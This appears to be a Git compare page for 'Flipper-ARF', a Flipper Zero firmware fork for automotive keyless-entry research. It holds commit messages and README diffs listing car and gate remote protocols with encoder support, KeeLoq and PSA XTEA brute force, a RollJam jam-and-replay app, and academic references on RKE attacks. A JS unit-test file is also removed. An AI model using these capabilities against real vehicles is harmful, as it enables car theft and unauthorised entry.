Compare commits

...

31 Commits

Author SHA1 Message Date
d4rks1d33
0f24f8c105 Added warning on counter bruteforce 2026-03-16 19:45:54 -03:00
Andrea Santaniello
238f39d0d8 Fixes 2026-03-16 23:39:22 +01:00
Andrea Santaniello
4c3581735b Better handling of the keeloq bf
All checks were successful
Build Dev Firmware / build (push) Successful in 6m23s
2026-03-16 22:31:16 +01:00
Andrea Santaniello
689df5262d Compiler bitch fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-16 17:57:09 +01:00
Andrea Santaniello
86c740d923 Preliminary stuff for phone accellerate Keeloq bruteforce
Some checks failed
Build Dev Firmware / build (push) Failing after 2m35s
2026-03-16 16:55:25 +01:00
Andrea Santaniello
0aef017c15 New assets by GONZOsint (https://github.com/GONZOsint)
All checks were successful
Build Dev Firmware / build (push) Successful in 6m46s
2026-03-16 13:57:23 +01:00
grugnoymeme
cea3bc3b6a fmt fiat marelli displayed datas and removed duplicates variant declaration in feed
All checks were successful
Build Dev Firmware / build (push) Successful in 6m25s
2026-03-16 05:58:05 +01:00
d4rks1d33
f3d08573a1 small fix
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:31:15 -03:00
Andrea
9e52a6eb6b Update Fiat Marelli entry in README.md
All checks were successful
Build Dev Firmware / build (push) Successful in 6m28s
2026-03-15 18:10:58 +01:00
Andrea Santaniello
faf669b457 Encoder for marelli/delphi
All checks were successful
Build Dev Firmware / build (push) Successful in 6m39s
2026-03-15 17:03:44 +01:00
Andrea Santaniello
e445b28d73 Update fiat_marelli.c
All checks were successful
Build Dev Firmware / build (push) Successful in 6m32s
2026-03-15 16:36:48 +01:00
Andrea Santaniello
19e2eaa554 Update fiat_marelli.c 2026-03-15 16:08:28 +01:00
Andrea Santaniello
2571ad7f22 Update fiat_marelli.c 2026-03-15 15:10:42 +01:00
Andrea Santaniello
22a0870559 Native chip AES (thanks to carphreak for suggesting it, saves some space) 2026-03-15 15:06:04 +01:00
d4rks1d33
1c9d1f404a Option to select Flux Capitor or Normal CC1101 on RollJam 2026-03-15 01:35:20 -03:00
d4rks1d33
fabb1ccc2d Official Flipper App now work with bluetooth 2026-03-15 00:42:43 -03:00
d4rks1d33
6a432a93ad Fix my bad sorry 2026-03-15 00:34:46 -03:00
d4rks1d33
d2cca91ec8 Small fix 2026-03-15 00:27:48 -03:00
d4rks1d33
6e483393e1 Update workflow 2026-03-15 00:20:10 -03:00
David
4dc688c25b Change encryption settings and add encrypted data
Updated encryption settings and added initialization vector and encrypted data.
2026-03-14 18:34:24 +01:00
David
585ce97358 Update to-do list in README.md for clarity 2026-03-14 17:09:29 +01:00
Andrea Santaniello
592bf5f1ae Update rolljam_receiver.c 2026-03-14 14:22:57 +01:00
Andrea Santaniello
a02aabbbda Rolljam select offsets/RL Flux Capacitor support 2026-03-14 14:14:08 +01:00
d4rks1d33
3365fc4fed Add RollJam app 2026-03-13 23:54:26 -03:00
Andrea Santaniello
a37ba6b815 Updated targets 2026-03-13 19:43:34 +01:00
Andrea Santaniello
ab1231667c Eradicated JS interpreter & related stuff 2026-03-13 19:07:14 +01:00
Andrea Santaniello
fd7d8c1ea8 Added CRC support to the protocol table 2026-03-13 17:18:39 +01:00
Andrea Santaniello
730bb318fb 47lecoste's advanced modulation hopper merge 2026-03-13 14:50:24 +01:00
Andrea
ce085b6895 Revise automotive RKE security references and add new entries, fixed a DOI 2026-03-12 21:26:45 +01:00
D4rk$1d3
f4c753b673 Update README.md 2026-03-12 15:10:57 -03:00
Andrea
41191df7fd Remove Implemented Protocols section from README (redundant)
Removed the Implemented Protocols section from the README.
2026-03-12 15:33:00 +01:00
293 changed files with 4281 additions and 34141 deletions

View File

@@ -17,6 +17,7 @@ jobs:
- name: Build firmware
run: |
export DIST_SUFFIX=Flipper-ARF
chmod +x fbt
./fbt COMPACT=1 DEBUG=0 updater_package
@@ -28,7 +29,7 @@ jobs:
id: firmware
run: |
DIR=$(ls -d dist/f7-* | head -n 1)
FILE="$DIR/flipper-z-f7-update-local.tgz"
FILE="$DIR/flipper-z-f7-update-Flipper-ARF.tgz"
if [ ! -f "$FILE" ]; then
echo "Firmware file not found!"

205
README.md
View File

@@ -16,7 +16,6 @@ This project may incorporate, adapt, or build upon **other open-source projects*
- [Supported Systems](#supported-systems)
- [How to Build](#how-to-build)
- [Project Scope](#project-scope)
- [Implemented Protocols](#implemented-protocols)
- [To Do / Planned Features](#to-do--planned-features)
- [Design Philosophy](#design-philosophy)
- [Research Direction](#research-direction)
@@ -43,67 +42,67 @@ This project may incorporate, adapt, or build upon **other open-source projects*
### Automotive Protocols
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes |
| Fiat | Fiat Marelli | 433 MHz | AM | No | Yes |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes |
| Manufacturer | Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---|:---:|:---:|:---:|:---:|:---:|
| VAG (VW/Audi/Skoda/Seat) | VAG GROUP | 433 MHz | AM | Yes | Yes | No |
| Porsche | Cayenne | 433/868 MHz | AM | Yes | Yes | No |
| PSA (Peugeot/Citroën/DS) | PSA GROUP | 433 MHz | AM/FM | Yes | Yes | Yes |
| Ford | Ford V0 | 315/433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat SpA | 433 MHz | AM | Yes | Yes | Yes |
| Fiat | Fiat Marelli/Delphi | 433 MHz | AM | No | Yes | No |
| Subaru | Subaru | 433 MHz | AM | Yes | Yes | No |
| Mazda | Siemens (5WK49365D) | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V0 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V1 | 315/433 MHz | AM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V2 | 315/433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V3/V4 | 315/433 MHz | AM/FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V5 | 433 MHz | FM | Yes | Yes | Yes |
| Kia/Hyundai | Kia V6 | 433 MHz | FM | Yes | Yes | Yes |
| Suzuki | Suzuki | 433 MHz | FM | Yes | Yes | Yes |
| Mitsubishi | Mitsubishi V0 | 868 MHz | FM | Yes | Yes | No |
### Gate / Access Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Keeloq | 433/868/315 MHz | AM | Yes | Yes |
| Nice FLO | 433 MHz | AM | Yes | Yes |
| Nice FloR-S | 433 MHz | AM | Yes | Yes |
| CAME | 433/315 MHz | AM | Yes | Yes |
| CAME TWEE | 433 MHz | AM | Yes | Yes |
| CAME Atomo | 433 MHz | AM | Yes | Yes |
| Faac SLH | 433/868 MHz | AM | Yes | Yes |
| Somfy Telis | 433 MHz | AM | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes |
| Beninca ARC | 433 MHz | AM | Yes | Yes |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes |
| Marantec | 433 MHz | AM | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes |
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
| Keeloq | 433/868/315 MHz | AM | Yes | Yes | No |
| Nice FLO | 433 MHz | AM | Yes | Yes | No |
| Nice FloR-S | 433 MHz | AM | Yes | Yes | Yes |
| CAME | 433/315 MHz | AM | Yes | Yes | No |
| CAME TWEE | 433 MHz | AM | Yes | Yes | No |
| CAME Atomo | 433 MHz | AM | Yes | Yes | No |
| Faac SLH | 433/868 MHz | AM | Yes | Yes | No |
| Somfy Telis | 433 MHz | AM | Yes | Yes | Yes |
| Somfy Keytis | 433 MHz | AM | Yes | Yes | Yes |
| Alutech AT-4N | 433 MHz | AM | Yes | Yes | Yes |
| KingGates Stylo4k | 433 MHz | AM | Yes | Yes | No |
| Beninca ARC | 433 MHz | AM | Yes | Yes | No |
| Hormann HSM | 433/868 MHz | AM | Yes | Yes | No |
| Marantec | 433 MHz | AM | Yes | Yes | Yes |
| Marantec24 | 433 MHz | AM | Yes | Yes | Yes |
### General Static Protocols
| Protocol | Frequency | Modulation | Encoder | Decoder |
|:---|:---:|:---:|:---:|:---:|
| Princeton | 433/315 MHz | AM | Yes | Yes |
| Linear | 315 MHz | AM | Yes | Yes |
| LinearDelta3 | 315 MHz | AM | Yes | Yes |
| GateTX | 433 MHz | AM | Yes | Yes |
| Security+ 1.0 | 315 MHz | AM | Yes | Yes |
| Security+ 2.0 | 315 MHz | AM | Yes | Yes |
| Chamberlain Code | 315 MHz | AM | Yes | Yes |
| MegaCode | 315 MHz | AM | Yes | Yes |
| Mastercode | 433 MHz | AM | Yes | Yes |
| Dickert MAHS | 433 MHz | AM | Yes | Yes |
| SMC5326 | 433 MHz | AM | Yes | Yes |
| Phoenix V2 | 433 MHz | AM | Yes | Yes |
| Doitrand | 433 MHz | AM | Yes | Yes |
| Hay21 | 433 MHz | AM | Yes | Yes |
| Revers RB2 | 433 MHz | AM | Yes | Yes |
| Roger | 433 MHz | AM | Yes | Yes |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes |
| RAW | All | All | Yes | Yes |
| Protocol | Frequency | Modulation | Encoder | Decoder | CRC |
|:---|:---:|:---:|:---:|:---:|:---:|
| Princeton | 433/315 MHz | AM | Yes | Yes | No |
| Linear | 315 MHz | AM | Yes | Yes | No |
| LinearDelta3 | 315 MHz | AM | Yes | Yes | No |
| GateTX | 433 MHz | AM | Yes | Yes | No |
| Security+ 1.0 | 315 MHz | AM | Yes | Yes | No |
| Security+ 2.0 | 315 MHz | AM | Yes | Yes | No |
| Chamberlain Code | 315 MHz | AM | Yes | Yes | No |
| MegaCode | 315 MHz | AM | Yes | Yes | No |
| Mastercode | 433 MHz | AM | Yes | Yes | No |
| Dickert MAHS | 433 MHz | AM | Yes | Yes | No |
| SMC5326 | 433 MHz | AM | Yes | Yes | No |
| Phoenix V2 | 433 MHz | AM | Yes | Yes | No |
| Doitrand | 433 MHz | AM | Yes | Yes | No |
| Hay21 | 433 MHz | AM | Yes | Yes | No |
| Revers RB2 | 433 MHz | AM | Yes | Yes | No |
| Roger | 433 MHz | AM | Yes | Yes | No |
| BinRAW | 433/315/868 MHz | AM/FM | Yes | Yes | No |
| RAW | All | All | Yes | Yes | No |
---
@@ -132,25 +131,12 @@ Flipper-ARF aims to achieve:
---
## Implemented Protocols
- [x] Mazda Siemens Protocol (5WK49365D) — ported from open-source references (testing required)
- [x] Full VAG, Fiat, Ford, Subaru, Kia, PSA support
- [x] D-Pad mapping (Lock / Unlock / Boot / Trunk) during emulation
- [x] VAG MFKey support and updated Keeloq codes
- [x] PSA XTEA brute force for saved → emulation workflow
- [x] Brute force of counter in saved → can be accellerated trough the companion app via bluetooth
- [X] Keeloq Key Manager inside firmware
- [x] RollJam app (Internal CC1101 for RX & TX captured signal; External CC1101 for jamming) — requires more real-world testing (no available yet)
---
## To Do / Planned Features
- [ ] Add Scher Khan & Starline protocols
- [ ] Fix and reintegrate RollJam app (future updates)
- [ ] Marelli BSI encoder and encryption
- [ ] Improve RollJam app
- [ ] Expand and refine Subaru, Kia, PSA, and other manufacturer protocols
- [ ] Improve collaboration workflow to avoid overlapping work
---
@@ -202,7 +188,8 @@ The following academic publications have been invaluable to the development and
- **Lock It and Still Lose It — On the (In)Security of Automotive Remote Keyless Entry Systems**
Flavio D. Garcia, David Oswald, Timo Kasper, Pierre Pavlidès
*USENIX Security 2016*
*USENIX Security 2016, pp. 929944*
DOI: [10.5555/3241094.3241166](https://doi.org/10.5555/3241094.3241166)
https://www.usenix.org/system/files/conference/usenixsecurity16/sec16_paper_garcia.pdf
- **Clonable Key Fobs: Analyzing and Breaking RKE Protocols**
@@ -225,33 +212,65 @@ The following academic publications have been invaluable to the development and
*Wiley, February 2025*
DOI: [10.1002/9781394351930.ch11](https://doi.org/10.1002/9781394351930.ch11)
### DST Cipher Family (DST40 / DST80)
- **Security Analysis of a Cryptographically-Enabled RFID Device**
Steve Bono, Matthew Green, Adam Stubblefield, Ari Juels, Avi Rubin, Michael Szydlo
*14th USENIX Security Symposium (USENIX Security '05)*
https://www.usenix.org/conference/14th-usenix-security-symposium/security-analysis-cryptographically-enabled-rfid-device
https://www.usenix.org/legacy/event/sec05/tech/bono/bono.pdf
- **Dismantling DST80-based Immobiliser Systems**
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2020(2), pp. 99127*
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
### KeeLoq Cryptanalysis
- **Cryptanalysis of the KeeLoq Block Cipher**
Andrey Bogdanov
*Cryptology ePrint Archive, Paper 2007/055*
*Cryptology ePrint Archive, Paper 2007/055; also presented at RFIDSec 2007*
https://eprint.iacr.org/2007/055
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
*CRYPTO 2008*
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
- **A Practical Attack on KeeLoq**
Sebastiaan Indesteege, Nathan Keller, Orr Dunkelman, Eli Biham, Bart Preneel
*EUROCRYPT 2008*
*EUROCRYPT 2008 (LNCS vol. 4965, pp. 118)*
DOI: [10.1007/978-3-540-78967-3_1](https://doi.org/10.1007/978-3-540-78967-3_1)
https://www.iacr.org/archive/eurocrypt2008/49650001/49650001.pdf
- **Algebraic and Slide Attacks on KeeLoq**
Nicolas T. Courtois, Gregory V. Bard, David Wagner
*FSE 2008 (LNCS vol. 5086, pp. 97115)*
DOI: [10.1007/978-3-540-71039-4_6](https://doi.org/10.1007/978-3-540-71039-4_6)
- **On the Power of Power Analysis in the Real World: A Complete Break of the KeeLoq Code Hopping Scheme**
Thomas Eisenbarth, Timo Kasper, Amir Moradi, Christof Paar, Mahmoud Salmasizadeh, Mohammad T. Manzuri Shalmani
*CRYPTO 2008 (LNCS vol. 5157, pp. 203220)*
DOI: [10.1007/978-3-540-85174-5_12](https://doi.org/10.1007/978-3-540-85174-5_12)
https://www.iacr.org/archive/crypto2008/51570204/51570204.pdf
- **Breaking KeeLoq in a Flash: On Extracting Keys at Lightning Speed**
*Springer*
Markus Kasper, Timo Kasper, Amir Moradi, Christof Paar
*AFRICACRYPT 2009 (LNCS vol. 5580, pp. 403420)*
DOI: [10.1007/978-3-642-02384-2_25](https://doi.org/10.1007/978-3-642-02384-2_25)
### Immobiliser & Transponder Systems
### Immobiliser & Transponder Cipher Attacks
- **Dismantling DST80-based Immobiliser Systems**
Lennert Wouters, Jan Van den Herrewegen, Flavio D. Garcia, David Oswald, Benedikt Gierlichs, Bart Preneel
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2020, Vol. 2*
DOI: [10.13154/tches.v2020.i2.99-127](https://doi.org/10.13154/tches.v2020.i2.99-127)
- **Gone in 360 Seconds: Hijacking with Hitag2**
Roel Verdult, Flavio D. Garcia, Josep Balasch
*21st USENIX Security Symposium (USENIX Security '12), pp. 237252*
DOI: [10.5555/2362793.2362830](https://doi.org/10.5555/2362793.2362830)
https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final95.pdf
- **Dismantling Megamos Crypto: Wirelessly Lockpicking a Vehicle Immobilizer**
Roel Verdult, Flavio D. Garcia, Baris Ege
*Supplement to 22nd USENIX Security Symposium (USENIX Security '13/15), pp. 703718*
https://www.usenix.org/sites/default/files/sec15_supplement.pdf
- **Dismantling the AUT64 Automotive Cipher**
Christopher Hicks, Flavio D. Garcia, David Oswald
*IACR Transactions on Cryptographic Hardware and Embedded Systems (TCHES), 2018, Vol. 2018(2), pp. 4669*
DOI: [10.13154/tches.v2018.i2.46-69](https://doi.org/10.13154/tches.v2018.i2.46-69)
### RFID & Protocol Analysis Tooling
@@ -262,6 +281,11 @@ The following academic publications have been invaluable to the development and
### Relay & Replay Attacks
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
Aurélien Francillon, Boris Danev, Srdjan Čapkun
*NDSS 2011*
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
- **Implementing and Testing RollJam on Software-Defined Radios**
*Università di Bologna (UNIBO), CRIS*
https://cris.unibo.it/handle/11585/999874
@@ -272,13 +296,14 @@ The following academic publications have been invaluable to the development and
- **RollBack: A New Time-Agnostic Replay Attack Against the Automotive Remote Keyless Entry Systems**
Levente Csikor, Hoon Wei Lim, Jun Wen Wong, Soundarya Ramesh, Rohini Poolat Parameswarath, Mun Choon Chan
*ACM*
*Black Hat USA 2022; ACM Transactions on Cyber-Physical Systems, 2024*
DOI: [10.1145/3627827](https://doi.org/10.1145/3627827)
https://i.blackhat.com/USA-22/Thursday/US-22-Csikor-Rollback-A-New-Time-Agnostic-Replay-wp.pdf
- **Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars**
Aurelien Francillon, Boris Danev, Srdjan Capkun
*NDSS 2011*
https://www.ndss-symposium.org/ndss2011/relay-attacks-on-passive-keyless-entry-and-start-systems-in-modern-cars/
- **Rolling-PWN Attack (Honda RKE Vulnerability)**
Kevin2600 (Haoqi Shan), Wesley Li — Star-V Lab
*Independent disclosure, 2022 (CVE-2021-46145)*
https://rollingpwn.github.io/rolling-pwn/
---

View File

@@ -222,13 +222,6 @@ App(
requires=["unit_tests"],
)
App(
appid="test_js",
sources=["tests/common/*.c", "tests/js/*.c"],
apptype=FlipperAppType.PLUGIN,
entry_point="get_api",
requires=["unit_tests", "js_app"],
)
App(
appid="test_strint",

View File

@@ -1,395 +0,0 @@
#include "../test.h" // IWYU pragma: keep
#include <furi.h>
#include <furi_hal.h>
#include <furi_hal_random.h>
#include <storage/storage.h>
#include <applications/system/js_app/js_thread.h>
#include <applications/system/js_app/js_value.h>
#include <stdint.h>
#define TAG "JsUnitTests"
#define JS_SCRIPT_PATH(name) EXT_PATH("unit_tests/js/" name ".js")
typedef enum {
JsTestsFinished = 1,
JsTestsError = 2,
} JsTestFlag;
typedef struct {
FuriEventFlag* event_flags;
FuriString* error_string;
} JsTestCallbackContext;
static void js_test_callback(JsThreadEvent event, const char* msg, void* param) {
JsTestCallbackContext* context = param;
if(event == JsThreadEventPrint) {
FURI_LOG_I("js_test", "%s", msg);
} else if(event == JsThreadEventError || event == JsThreadEventErrorTrace) {
context->error_string = furi_string_alloc_set_str(msg);
furi_event_flag_set(context->event_flags, JsTestsFinished | JsTestsError);
} else if(event == JsThreadEventDone) {
furi_event_flag_set(context->event_flags, JsTestsFinished);
}
}
static void js_test_run(const char* script_path) {
JsTestCallbackContext* context = malloc(sizeof(JsTestCallbackContext));
context->event_flags = furi_event_flag_alloc();
JsThread* thread = js_thread_run(script_path, js_test_callback, context);
uint32_t flags = furi_event_flag_wait(
context->event_flags, JsTestsFinished, FuriFlagWaitAny, FuriWaitForever);
if(flags & FuriFlagError) {
// getting the flags themselves should not fail
furi_crash();
}
FuriString* error_string = context->error_string;
js_thread_stop(thread);
furi_event_flag_free(context->event_flags);
free(context);
if(flags & JsTestsError) {
// memory leak: not freeing the FuriString if the tests fail,
// because mu_fail executes a return
//
// who cares tho?
mu_fail(furi_string_get_cstr(error_string));
}
}
MU_TEST(js_test_basic) {
js_test_run(JS_SCRIPT_PATH("basic"));
}
MU_TEST(js_test_math) {
js_test_run(JS_SCRIPT_PATH("math"));
}
MU_TEST(js_test_event_loop) {
js_test_run(JS_SCRIPT_PATH("event_loop"));
}
MU_TEST(js_test_storage) {
js_test_run(JS_SCRIPT_PATH("storage"));
}
static void js_value_test_compatibility_matrix(struct mjs* mjs) {
static const JsValueType types[] = {
JsValueTypeAny,
JsValueTypeAnyArray,
JsValueTypeAnyObject,
JsValueTypeFunction,
JsValueTypeRawPointer,
JsValueTypeInt32,
JsValueTypeDouble,
JsValueTypeString,
JsValueTypeBool,
};
mjs_val_t values[] = {
mjs_mk_undefined(),
mjs_mk_foreign(mjs, (void*)0xDEADBEEF),
mjs_mk_array(mjs),
mjs_mk_object(mjs),
mjs_mk_number(mjs, 123.456),
mjs_mk_string(mjs, "test", ~0, false),
mjs_mk_boolean(mjs, true),
};
// for proper matrix formatting and better readability
#define YES true
#define NO_ false
static const bool success_matrix[COUNT_OF(types)][COUNT_OF(values)] = {
// types:
{YES, YES, YES, YES, YES, YES, YES}, // any
{NO_, NO_, YES, NO_, NO_, NO_, NO_}, // array
{NO_, NO_, YES, YES, NO_, NO_, NO_}, // obj
{NO_, NO_, NO_, NO_, NO_, NO_, NO_}, // fn
{NO_, YES, NO_, NO_, NO_, NO_, NO_}, // ptr
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // int32
{NO_, NO_, NO_, NO_, YES, NO_, NO_}, // double
{NO_, NO_, NO_, NO_, NO_, YES, NO_}, // str
{NO_, NO_, NO_, NO_, NO_, NO_, YES}, // bool
//
//und ptr arr obj num str bool <- values
};
#undef NO_
#undef YES
for(size_t i = 0; i < COUNT_OF(types); i++) {
for(size_t j = 0; j < COUNT_OF(values); j++) {
const JsValueDeclaration declaration = {
.type = types[i],
.n_children = 0,
};
// we only care about the status, not the result. double has the largest size out of
// all the results
uint8_t result[sizeof(double)];
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&values[j],
result);
if((status == JsValueParseStatusOk) != success_matrix[i][j]) {
FURI_LOG_E(TAG, "type %zu, value %zu", i, j);
mu_fail("see serial logs");
}
}
}
}
static void js_value_test_literal(struct mjs* mjs) {
static const JsValueType types[] = {
JsValueTypeAny,
JsValueTypeAnyArray,
JsValueTypeAnyObject,
};
mjs_val_t values[] = {
mjs_mk_undefined(),
mjs_mk_array(mjs),
mjs_mk_object(mjs),
};
mu_assert_int_eq(COUNT_OF(types), COUNT_OF(values));
for(size_t i = 0; i < COUNT_OF(types); i++) {
const JsValueDeclaration declaration = {
.type = types[i],
.n_children = 0,
};
mjs_val_t result;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&values[i],
&result);
mu_assert_int_eq(JsValueParseStatusOk, status);
mu_assert(result == values[i], "wrong result");
}
}
static void js_value_test_primitive(
struct mjs* mjs,
JsValueType type,
const void* c_value,
size_t c_value_size,
mjs_val_t js_val) {
const JsValueDeclaration declaration = {
.type = type,
.n_children = 0,
};
uint8_t result[c_value_size];
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&declaration),
JsValueParseFlagNone,
&status,
&js_val,
result);
mu_assert_int_eq(JsValueParseStatusOk, status);
if(type == JsValueTypeString) {
const char* result_str = *(const char**)&result;
mu_assert_string_eq(c_value, result_str);
} else {
mu_assert_mem_eq(c_value, result, c_value_size);
}
}
static void js_value_test_primitives(struct mjs* mjs) {
int32_t i32 = 123;
js_value_test_primitive(mjs, JsValueTypeInt32, &i32, sizeof(i32), mjs_mk_number(mjs, i32));
double dbl = 123.456;
js_value_test_primitive(mjs, JsValueTypeDouble, &dbl, sizeof(dbl), mjs_mk_number(mjs, dbl));
const char* str = "test";
js_value_test_primitive(
mjs, JsValueTypeString, str, strlen(str) + 1, mjs_mk_string(mjs, str, ~0, false));
bool boolean = true;
js_value_test_primitive(
mjs, JsValueTypeBool, &boolean, sizeof(boolean), mjs_mk_boolean(mjs, boolean));
}
static uint32_t
js_value_test_enum(struct mjs* mjs, const JsValueDeclaration* decl, const char* value) {
mjs_val_t str = mjs_mk_string(mjs, value, ~0, false);
uint32_t result;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs, JS_VALUE_PARSE_SOURCE_VALUE(decl), JsValueParseFlagNone, &status, &str, &result);
if(status != JsValueParseStatusOk) return 0;
return result;
}
static void js_value_test_enums(struct mjs* mjs) {
static const JsValueEnumVariant enum_1_variants[] = {
{"variant 1", 1},
{"variant 2", 2},
{"variant 3", 3},
};
static const JsValueDeclaration enum_1 = JS_VALUE_ENUM(uint32_t, enum_1_variants);
static const JsValueEnumVariant enum_2_variants[] = {
{"read", 4},
{"write", 8},
};
static const JsValueDeclaration enum_2 = JS_VALUE_ENUM(uint32_t, enum_2_variants);
mu_assert_int_eq(1, js_value_test_enum(mjs, &enum_1, "variant 1"));
mu_assert_int_eq(2, js_value_test_enum(mjs, &enum_1, "variant 2"));
mu_assert_int_eq(3, js_value_test_enum(mjs, &enum_1, "variant 3"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_1, "not a thing"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 1"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 2"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "variant 3"));
mu_assert_int_eq(0, js_value_test_enum(mjs, &enum_2, "not a thing"));
mu_assert_int_eq(4, js_value_test_enum(mjs, &enum_2, "read"));
mu_assert_int_eq(8, js_value_test_enum(mjs, &enum_2, "write"));
}
static void js_value_test_object(struct mjs* mjs) {
static const JsValueDeclaration int_decl = JS_VALUE_SIMPLE(JsValueTypeInt32);
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueEnumVariant enum_variants[] = {
{"variant 1", 1},
{"variant 2", 2},
{"variant 3", 3},
};
static const JsValueDeclaration enum_decl = JS_VALUE_ENUM(uint32_t, enum_variants);
static const JsValueObjectField fields[] = {
{"int", &int_decl},
{"str", &str_decl},
{"enum", &enum_decl},
};
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
mjs_val_t object = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, object) {
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
JS_FIELD("int", mjs_mk_number(mjs, 123));
JS_FIELD("enum", mjs_mk_string(mjs, "variant 2", ~0, false));
}
const char* result_str;
int32_t result_int;
uint32_t result_enum;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
JsValueParseFlagNone,
&status,
&object,
&result_int,
&result_str,
&result_enum);
mu_assert_int_eq(JsValueParseStatusOk, status);
mu_assert_string_eq("Helloooo!", result_str);
mu_assert_int_eq(123, result_int);
mu_assert_int_eq(2, result_enum);
}
static void js_value_test_default(struct mjs* mjs) {
static const JsValueDeclaration int_decl =
JS_VALUE_SIMPLE_W_DEFAULT(JsValueTypeInt32, int32_val, 123);
static const JsValueDeclaration str_decl = JS_VALUE_SIMPLE(JsValueTypeString);
static const JsValueObjectField fields[] = {
{"int", &int_decl},
{"str", &str_decl},
};
static const JsValueDeclaration object_decl = JS_VALUE_OBJECT(fields);
mjs_val_t object = mjs_mk_object(mjs);
JS_ASSIGN_MULTI(mjs, object) {
JS_FIELD("str", mjs_mk_string(mjs, "Helloooo!", ~0, false));
JS_FIELD("int", mjs_mk_undefined());
}
const char* result_str;
int32_t result_int;
JsValueParseStatus status;
JS_VALUE_PARSE(
mjs,
JS_VALUE_PARSE_SOURCE_VALUE(&object_decl),
JsValueParseFlagNone,
&status,
&object,
&result_int,
&result_str);
mu_assert_string_eq("Helloooo!", result_str);
mu_assert_int_eq(123, result_int);
}
static void js_value_test_args_fn(struct mjs* mjs) {
static const JsValueDeclaration arg_list[] = {
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
JS_VALUE_SIMPLE(JsValueTypeInt32),
};
static const JsValueArguments args = JS_VALUE_ARGS(arg_list);
int32_t a, b, c;
JS_VALUE_PARSE_ARGS_OR_RETURN(mjs, &args, &a, &b, &c);
mu_assert_int_eq(123, a);
mu_assert_int_eq(456, b);
mu_assert_int_eq(-420, c);
}
static void js_value_test_args(struct mjs* mjs) {
mjs_val_t function = MJS_MK_FN(js_value_test_args_fn);
mjs_val_t result;
mjs_val_t args[] = {
mjs_mk_number(mjs, 123),
mjs_mk_number(mjs, 456),
mjs_mk_number(mjs, -420),
};
mu_assert_int_eq(
MJS_OK, mjs_apply(mjs, &result, function, MJS_UNDEFINED, COUNT_OF(args), args));
}
MU_TEST(js_value_test) {
